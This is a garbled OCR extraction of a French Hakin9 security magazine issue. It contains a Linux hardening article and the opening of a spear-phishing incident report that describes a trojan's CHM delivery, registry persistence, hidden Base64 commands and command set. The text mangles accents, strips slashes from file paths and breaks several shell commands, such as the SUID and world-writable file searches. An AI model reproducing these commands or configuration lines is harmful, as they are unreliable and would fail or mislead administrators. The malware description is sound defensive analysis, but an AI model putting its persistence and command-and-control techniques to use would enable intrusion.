51

hakin9_05_2010_FR

Embed Size (px)

Citation preview

Page 1: hakin9_05_2010_FR

LE SPEacuteCIALISTE DE LA

Faire de vos succegravesnotre reacuteussite

ANVERS LIEGE PARIS LYON LILLE AIX-EN-PROVENCE STRASBOURG RENNES BRUXELLES

TOULOUSE BORDEAUX GENEVE LAUSANNE ZURICH

wwwegiliacom

FORMATION CERTIFIANTEEN INFORMATIQUE

ET MANAGEMENT

reg

L E A R N I N G

0 800 800 900CONTACTEZ NOS CONSEILLERS FORMATION

APPEL GRATUIT DEPUIS UN POSTE FIXE

PLEINE-PAGE-210-297indd 1 23092009 123036

3 HAKIN9 32010

Seacutecuriteacute sous Linux Dans ce numeacutero 52010 nous avons deacutecideacute de deacutedier notre dossier agrave la seacutecuriteacute de votre machine Linux A travers lrsquoarticle de Nicolas Hanteville Regravegles de seacutecurisation sous Linux vous allez apprendre quelques regravegles de base et les bons reacuteflexes pour seacutecuriser efficacement votre machine Cet article aborde eacutegalement la probleacutematique de seacutecurisation des services reacuteseaux des sauvegardes et et de la virtualisation

Les failles web permettent des actions de plus en plus importantes de la part des pirates informatiques Pour vous en proteacuteger consultez lrsquoarticle sur la seacutecuriteacute des applications WEB Lrsquoarticle de Reacutegis Senet vous preacutesentera Samurai WTF logiciel speacutecialiseacute dans les tests de peacuteneacutetration sur les applications web

Toujours dans la theacutematique de la seacutecuriteacute reacuteseaux nous vous recommandons la lecture de lrsquoarticle Le Projet Meacutetasploit un projet Open Source deacutedieacute aux pen-testeurs et aux chercheurs en seacutecuriteacute des systegravemes drsquoinformations

Bonne lecture

Lrsquoeacutequipe Hakin9

EacuteDITORIAL

Le mensuel hakin9 est publieacute par Software Press Sp z o o SK

Preacutesident de Software Press Sp z o o SK Paweł Marciniak Directrice de la publication Ewa LozowickaRedacteur en chef Aneta Mazuranetamazurhakin9orgFabrication Andrzej Kucaandrzejkucasoftwarecompl

DTP Przemysław BanasiewiczCouverture Agnieszka Marchocka

Publiciteacute publicitesoftwarecompl(c) 2009 Software Press Sp z o o SK tous les droits reacuteserveacutes

Beacuteta-testeurs Didier Sicchia Pierre Louvet Anthony Marchetti Reacutegis Senet Paul Amar Julien Smyczynski Gregory Vernon Latorre Christophe Timoteacutee Neullas

Les personnes inteacuteresseacutees par la coopeacuteration sont inviteacutees agrave nous contacter frhakin9org

Adresse de correspondance Software Press Sp z o o SKBokserska 1 02-682 Varsovie PologneTeacutel +48 22 427 32 87 Fax +48 22 244 24 59wwwhakin9org

AVERTISSEMENTLes techniques preacutesenteacutees dans les articles ne peuvent ecirctre utiliseacutees qursquoau sein des reacuteseaux internes

La reacutedaction du magazine nrsquoest pas responsable de lrsquoutilisation incorrecte des techniques preacutesenteacutees

Lrsquoutilisation des techniques preacutesenteacutees peut provoquer la perte des donneacutees

TABLE DES MATIERES

DossierRegravegles de seacutecurisation sous Linux 6Nicolas HantevilleCet article aborde la probleacutematique de seacutecurisation des services reacuteseaux en passant par les sauvegardes et virtualisation il y aura question de regravegles de seacutecurisa-tion agrave mettre en place afin drsquoobtenir un niveau de seacutec-uriteacute convenable

AttAqueRapport drsquoanalyse drsquoune attaque par spear-phishing 14Adam Pridgen Matthew WollenweberLe spear-Phishing est un phishing cibleacute lrsquoattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

FoCusLe Projet Meacutetasploit 22Alexandre LacanParmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le pro-jet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche lrsquoeacutecriture et lrsquoexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit ex-press le nouveau logiciel de rapid7

52010

52010

PrAtiqueSamurai- proteacutegez vos applications Web 30Reacutegis SenetLa seacutecuriteacute des sites internet est aujourdrsquohui lrsquoun des aspects de la seacutecuriteacute le le plus souvent neacutegligeacute Les failles web permettent des actions de plus en plus im-portantes de la part des pirates informatiques samurai ou plus preacuteciseacutement samurai Web testing Framework ou encore samurai WtF est donc un LiveCD speacutecialiseacute dans les tests de peacuteneacutetration sur les applications web il a pour objectif de devenir LA plateforme de reacutefeacuterence en qualiteacute de peacuteneacutetration des applications web devant le tregraves complet Backtrack

Meacutecanismes IPV6 avanceacutes 40Freacutedeacuteric RoudautDepuis les anneacutees 80 lrsquointernet connaicirct un succegraves incroyable La majeure partie des entreprises y est ma-intenant directement connecteacutee le nombre de particu-liers deacutetenteurs drsquoun abonnement internet aupregravesdrsquoun FAi (Fournisseur drsquoAccegraves internet) est en croissance constante

52010

dossier

Dans le preacutesent article il y aura question de regravegles de seacutecurisation sous Linux Nous allons aborder la probleacutematique de seacutecu-

risation des services reacuteseaux en passant par les sauvegardes et la virtualisation Commenccedilons par quelques regravegles de base Afin dobtenir un bon ni-veau de seacutecuriteacute sur un systegraveme dexploitation il est tregraves important que certaines regravegles de base soient respecteacutees

bull Mes mots de passe doivent toujours ecirctre forts deacute-dieacutes au systegraveme et ecirctre changeacutes reacuteguliegraverement

bull Je ninstalle que les composants valideacutes essentiels au bon fonctionnement du systegraveme

bull Je seacutecurise les applications que jinstallebull Je mets agrave jour mon systegraveme et mes applications reacute-

guliegraverementbull Jutilise un pare-feu configureacute en se limitant aux flux

utilesbull Jinstalle un antivirus que je mets reacuteguliegraverement agrave

jour

La seacutequence de deacutemarrage appeleacutee vulgairement seacute-quence de BOOT est composeacutee en plusieurs eacutetapes

bull Le deacutemarrage via le BIOS (Chargement primaire) Le Basic Input Output System (systegraveme eacuteleacutementai-re dentreacuteesortie) est un micro-logiciel qui permet

de geacuterer la seacutequence de deacutemarrage de la machine (entre autre)

bull Le chargeur damorccedilage (Boot loader) (Charge-ment secondaire) Il permet de seacutelectionner le sys-tegraveme dexploitation sur lequel nous voulons deacutemar-rer

bull Le systegraveme dexploitation

seacutecurisation du BiosLe BIOS fait partie de ces parties obscures de lin-formatique que le simple utilisateur ne seacutecurise pas pourtant la mise en place dune couche seacutecuriteacute est assez simple agrave mettre en œuvre Dans un premier temps il faut limiter la seacutequence de deacutemarrage au dis-que dur maicirctre seul Si un autre peacuteripheacuterique tel que lUSB ou un lecteur optique est activeacute il sera possible de deacutemarrer avec une distribution live sur la machine dacceacuteder et modifier ses donneacutees Puis dactiver un mot de passe pour modifier la configuration du BIOS Nous permettant ainsi de proteacuteger la seacutecurisation preacute-ceacutedemment mise en place Il est aussi possible dacti-ver sur certaines cartes megraveres un mot de passe avant le chargeur damorccedilage Enfin la mise en place dun cadenas sur le boicirctier de la machine (ce nest actuelle-ment pas possible sur les portables) afin deacuteviter quun petit malin neffectue un CLEAR CMOS (reacuteinitialisation de la configuration du BIOS) via les connecteurs preacute-vus agrave cet effet sur la carte megravere

regravegles de seacutecurisation sous Linux

Cet article aborde la probleacutematique de seacutecurisation des services reacuteseaux en passant par les sauvegardes et virtualisation Il y aura question de regravegles de seacutecurisation a mettre en place afin drsquoobtenir un niveau de seacutecuriteacute convenable

Cet article expliquebull Comment seacutecuriser la seacutequence de deacutemarragebull La pobleacutematique de seacutecurisation des services reacuteseauxbull Quelles sont les possibiliteacutes avec la gestion des droits sur les fi-

chiers sous Linuxbull Des points importants sur la virtualisationbull Pourquoi utiliser la journalisation et les sauvegardes

Ce quil faut savoirbull Des connaissances en administration Linux

Nicolas Hanteville

regravegles de seacutecurisation

hakin9orgfr

password=M0n_Super_M0t_De_Pa$$e

restricted

delay=5

Pour appliquer un mot de passe sur une image preacutecise

image=bootImage

read-only

password=M0n_Beau_M0t_De_Pa$$e

restricted

Il faut ensuite appliquer les modifications

sbinlilo -v

Une autre solution compleacutementaire (fonctionne sous UBUNTU) permet de speacutecifier les peacuteripheacuteriques tty (terminaux) ou root peut se connecter Par exemple dans le fichier etcsecuretty en mettant en commen-taire toutes les lignes mise agrave part tty1 si vous utilisez udev ou vc1 pour devfs

Limiter le nombre de services au deacutemarrage Les problegravemes de seacutecurisation des machines provien-nent aussi du nombre de programmes exeacutecuteacutes au deacutemarrage du systegraveme dexploitation qui pour un bon nombre ne servent pas

Plusieurs outils permettent de le faire graphique-ment de maniegravere native sous Ubuntu dans le menu Systegraveme-gtAdministration-gtServices il est possible en simplement deacutecochant des cases de deacutesactiver des services Il existe aussi sysv-rc-conf ou boot-up mana-ger ce sont des outils suppleacutementaires que je cite pour exemple mais je conseille la meacutethode manuelle (voir commandes agrave la fin du chapitre)

On ne deacutesactive pas nimporte quoi sous peine de rendre le systegraveme instable au prochain deacutemarrage

Quels services deacutesactiver La reacuteponse est agrave la fois simple on supprime les ser-vices inutiles et agrave la fois compliqueacutee quels services sont utiles

Voici un exemple de services inutiles (les plus geacuteneacute-raux)

bull apache si vous navez pas vocation agrave transformer votre machine en serveur Web il vaut mieux le deacute-sinstaller

Bien sucircr la solution la plus facile pour acceacuteder aux donneacutees dune machine locale eacutetant la reacutecupeacuteration du support de stockage tregraves facile agrave enlever sur la majoriteacute des ordinateurs portables

La meilleure solution actuelle pour limiter laccegraves aux donneacutees confidentialiteacute eacutetant le chiffrement de disque dur entier ou bien par container

Une solution libre de chiffrement par container TrueCrypt httpwwwtruecryptorg

seacutecurisation du chargeur damorccedilageLes plus connus eacutetant GRUB (GRand Unified Bootloa-der) et LILO (LInux LOader) les chargeurs damorccedilage permettent de seacutelectionner le systegraveme dexploitation sur lequel deacutemarrer mais aussi de deacutemarrer en mode single user (eacutedition interactive) qui permet de deacutemarrer loca-lement avec des droits root sans aucun mot de passe par deacutefaut

Pour le seacutecuriser plusieurs options sont possibles

bull deacutefinir un mot de passe pour deacutemarrer le systegraveme dexploitation

bull ou supprimer ce mode

sous GrUBPour deacutefinir un mot de passe il faut dans un premier temps chiffrer le mot de passe en MD5 il est possible dutiliser le shell grub avec la commande md5crypt (voir Figure 1)

Puis dajouter dans le fichier de configuration bootgrubmenulst apregraves la ligne time-out la ligne suivante password --md5 Mon_Mot_De_Passe

La commande --md5 signifie que le mot de passe nest pas en clair

Apregraves cette manipulation on peut maintenant speacutecifier les entreacutees qui requiegraverent un mot de passe pour ce faire il faut ajouter apregraves la ligne title dune entreacutee la com-mande lock (les lignes sont tronqueacutes volontairement)

title Debian GNULinux (recovery mode) lock

kernel bootvmlinuz ro single

initrd bootinitrdimg

Pour supprimer le mode single user ce mode est ap-peleacute single sous GRUB il suffit donc de supprimer les entreacutees correspondantes (ci dessus) Quand vous sup-primez une entreacutee dans le fichier de configuration cela peut alteacuterer la seacutelection du systegraveme dexploitation par deacutefaut (penser agrave modifier la valeur default du deacutebut

sous LiLoLa deacutefinition du mot de passe peut ecirctre globale ou par entreacutee malheureusement le mot de passe reacuteside en clair dans le fichier Pour appliquer un mot de passe global on ajoute au deacutebut du fichier etcliloconf ou etcmenulst comme suit Figure 1 Exemple dutilisation de md5crypt

52010

dossier

bull at planificateur deacutevegravenements si aucun autre pro-gramme ne lutilise (exeacutecution peacuteriodique) vous pou-vez le deacutesactiver attention toutefois il est tregraves sou-vent utiliseacute

bull PCMCIA si vous necirctes pas sur une machine pos-seacutedant ce port il ne sert agrave rien

bull bluetooth si vous navez pas de connectique Blue-tooth il ne sert agrave rien

bull cups si vous nutilisez pas dimprimante (il est parfois utiliseacute avec certains programmes dimpression PDF)

bull FTP serveur de fichierbull ssh si vous neffectuez pas dadministration distan-

te sur votre machine supprimez-le

Cette liste nest pas exhaustive il existe beaucoup trop de programmes pour tous les lister ici Le fait de deacute-sactiver un service diminue limpact quil aura sur la seacutecuriteacute de la machine et diminue aussi la meacutemoire et le temps processeur utiliseacutes cest donc tregraves beacuteneacutefique

Pour lister les services et leurs niveaux dexeacutecution

sbinchkconfig --list

- Pour lister les services reacuteseaux en eacutecoute

lsof -i -n | egrep COMMAND|LISTEN

- Arrecircter un service

etcrcdinitd[nom du service] stop

- Exeacutecuter un service

etcrcdinitd[nom du service] start

- Ajouter un service du deacutemarrage

update-rcd [nom du service] defaults

- Supprimer un service du deacutemarrage

update-rcd [nom du service] remove

Il est aussi possible deffectuer une exeacutecution de comman-de automatique lors de la connexion de lutilisateur notam-ment avec le fichier home[Nom de lutilisateur]bashrc

seacutecurisation des servicesLes nouveaux modegraveles de communication font que lintrusion dans les systegravemes dinformation la plus

significative provient de la seacutecurisation des services reacuteseau et plus preacuteciseacutement des applications Web il est donc tregraves important de seacutecuriser ces services Nous ne parlerons pas ici de la seacutecurisation par filtrage qui sera traiteacutee dans un autre article

ChrootCest une commande qui permet de modifier la racine de lapplication afin de cloisonner le service agrave son pro-pre environnement (voir Figure 2) Elle peut ecirctre utiliseacutee dans deux cas

bull Pour changer denvironnement (basculer vers un autre systegraveme) par exemple utiliser un environne-ment 32bits sur un systegraveme 64bits

bull Pour cloisonner un programmeutilisateur et lempecirc-cher de remonter dans larborescence

Concregravetement mon application Apache est vulneacutera-ble agrave une faille qui permet dacceacuteder agrave un shell distant Dans le premier cas (sans chroot) lattaquant reacutecupegrave-re la main sur mon systegravemeDans le second cas (avec chroot) lattaquant na accegraves quau reacutepertoire de lap-plication il ne peut pas remonter dans larborescence seule mon application est compromise Bien entendu cela nest quun exemple (des manipulations existent pour passer outre cette seacutecuriteacute) mais dans le cas de services mutualiseacutes on eacutevite ainsi de perdre tous les services seul le service incrimineacute est compromis

Nous nexpliquerons pas la proceacutedure de chroot dun service ici de tregraves bons articles et sites web en parlent notamment sur le site httplea-linuxorg sachez tout de mecircme que certaines applications requiegraverent decirctre recompileacutees pour fonctionner dans cet environnement restreint

Les modules et fonctionnaliteacutesPlus un systegraveme est complexe moins il est facile de le seacutecuriseacute il est donc primordial de limiter au maximum les fonctionnaliteacutes agrave notre strict besoin

Les fichiers par deacutefaut de deacuteveloppement (exemple la page phpinfophp pour PHP) sont souvent oublieacutes De nombreux automates (scanner de vulneacuterabiliteacute exemple Nessus) permettent de veacuterifier les configura-tions par deacutefaut Ils peuvent apporter des informations agrave un eacuteventuel assaillant il est donc primordial deffacer ces composants

De nombreux programmes (TOMCAT PHP ) utilisent des modules pour lajout de fonctionnaliteacute ces modules

Figure 2 Changement de racine

etcapacvhe

Figure 3 Droit SUID

hakin9orgfr 9

sont bien souvent installeacutes par deacutefaut et oublieacutes or dans le cas dapplications WEB ces oublis permettent bien souvent dutiliser des exploits la suppression de ces modules permet de corriger ce problegraveme (en les deacutesinstallant ou la plupart du temps en commentant les lignes dans les fichiers de configuration)

Versions et mise agrave jourLa premiegravere chose que va chercher agrave obtenir un eacuteventuel attaquant sur un systegraveme reacuteseau est la version drsquoappli-cation ou du systegraveme afin de le comparer avec des listes de vulneacuterabiliteacutes existantes Hors dans de nombreux cas ces versions sont facilement identifiables

Exemple sur un serveur FTP lors de la connexion celui-ci va nous indiquer sa version de systegraveme dex-ploitation son nom de logiciel et sa version

Les solutions ne sont pas toujours tregraves simples mais existent

bull la suppression des banniegraveres de connexion ou au moins les rendre anonymes au maximum (requiert parfois une recompilation du binaire)

bull la mise agrave jour constante des applications et des systegravemes (malheureusement les failles 0 days existent)

bull le changement des mots de passe par deacutefaut

Une autre probleacutematique agrave laquelle on ne songe pas toujours lors de la mise agrave jour dun systegraveme il arri-ve bien souvent que le correctif de seacutecuriteacute modifie la configuration de lapplication (par exemple sur Ora-cle lrsquoapplication de certains correctifs reacuteinitialise les paramegravetres de seacutecuriteacute)

Apregraves lapplication dun correctif il est primordial de veacuterifier la configuration de seacutecuriteacute dune application

droits et fichiersDepuis toujours ladministration essaie de prendre en compte les notions de seacutecuriteacute mais oublie bien souvent la gestion des droits sur les fichiers Sous les systegravemes Linux il existe les droits standards (lectureeacutecritureexeacute-cution avec la gestion utilisateurgroupeautre) et les droits eacutetendus (Suid Sticky Bit ACL)

Eacutenumeacuterer les fichiers et reacutepertoires avec des droits en eacutecriture pour tous

fi nd type d -perm -2 -exec ls -lcd

Pour un systegraveme multi-utilisateurs avec des partages de fichiers le systegraveme de droits standard nest pas suf-fisant Pour ce faire il existe les ACL (commandes getfacl et setfacl) qui permettent une gestion de droits plus fine sur les fichiers

Dans la majoriteacute des cas un administrateur ne pen-sera pas agrave faire un getfacl sur un fichier il fera un simple ls -al et passera donc devant des droits peut ecirctre trop

9

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

